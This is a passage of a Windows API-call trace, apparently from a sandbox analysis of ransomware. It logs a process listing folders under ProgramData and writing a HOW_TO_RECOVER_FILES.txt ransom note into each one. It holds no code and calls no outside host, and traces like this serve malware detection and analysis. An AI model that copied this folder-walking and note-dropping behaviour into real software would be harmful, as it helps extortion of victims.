ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0154.931] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0154.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0154.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0154.931] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204", lpFilePart=0x0) returned 0x47 [0154.931] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x33814094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.931] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x33814094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.931] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc041220b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="154E23D0-C644-4E6F-8CE6-5069272F999F.vsch", cAlternateFileName="154E23~1.VSC")) returned 1 [0154.932] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc041220b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch", cAlternateFileName="2F1A65~1.VSC")) returned 1 [0154.932] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc041220b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x0, dwReserved1=0x0, cFileName="3CCD5499-87A8-4B10-A215-608888DD3B55.vsch", cAlternateFileName="3CCD54~1.VSC")) returned 1 [0154.932] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33814094, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33814094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0154.932] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc02e0f2e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc02e0f2e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc02e0f2e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.vpol", cAlternateFileName="POLICY~1.VPO")) returned 1 [0154.932] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc02e0f2e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc02e0f2e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc02e0f2e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.vpol", cAlternateFileName="POLICY~1.VPO")) returned 0 [0154.932] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0154.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0154.933] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x60 [0154.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0154.933] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0154.934] GetFileType (hFile=0x7f8) returned 0x1 [0154.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0154.934] GetFileType (hFile=0x7f8) returned 0x1 [0154.935] WriteFile (in: hFile=0x7f8, lpBuffer=0x330db08*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x330db08*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0154.935] CloseHandle (hObject=0x7f8) returned 1 [0154.936] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Vault\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3b [0154.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0154.936] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\vault\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0154.936] GetFileType (hFile=0x7f8) returned 0x1 [0154.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0154.937] GetFileType (hFile=0x7f8) returned 0x1 [0154.937] WriteFile (in: hFile=0x7f8, lpBuffer=0x3311340*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x3311340*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0154.938] CloseHandle (hObject=0x7f8) returned 1 [0154.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0154.938] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WDF", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WDF", lpFilePart=0x0) returned 0x20 [0154.938] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WDF\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.939] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.939] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33814094, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33814094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0154.939] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0154.939] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0154.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0154.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0154.939] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WDF", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WDF", lpFilePart=0x0) returned 0x20 [0154.939] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WDF\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x33814094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.940] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x33814094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.940] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33814094, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33814094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0154.940] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33814094, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33814094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0154.940] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0154.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0154.940] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WDF\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WDF\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x39 [0154.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0154.941] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\WDF\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\wdf\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0154.941] GetFileType (hFile=0x7f8) returned 0x1 [0154.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0154.941] GetFileType (hFile=0x7f8) returned 0x1 [0154.942] WriteFile (in: hFile=0x7f8, lpBuffer=0x33224d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x33224d8*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0154.943] CloseHandle (hObject=0x7f8) returned 1 [0154.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0154.943] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WinMSIPC", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WinMSIPC", lpFilePart=0x0) returned 0x25 [0154.943] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x338d2c44, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.943] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x338d2c44, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.944] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x338d2c44, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x338d2c44, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x339918c9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0154.944] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0154.944] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0154.944] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0154.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0154.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0154.944] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WinMSIPC", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WinMSIPC", lpFilePart=0x0) returned 0x25 [0154.944] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x338d2c44, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x338d2c44, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.945] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x338d2c44, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x338d2c44, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.945] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x338d2c44, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x338d2c44, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x339918c9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0154.945] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0154.945] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0154.945] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0154.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0154.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0154.945] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server", lpFilePart=0x0) returned 0x2c [0154.946] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.946] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.946] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33814094, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33814094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3383a26d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0154.946] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0154.946] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0154.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0154.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0154.946] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server", lpFilePart=0x0) returned 0x2c [0154.946] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x33814094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.947] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, 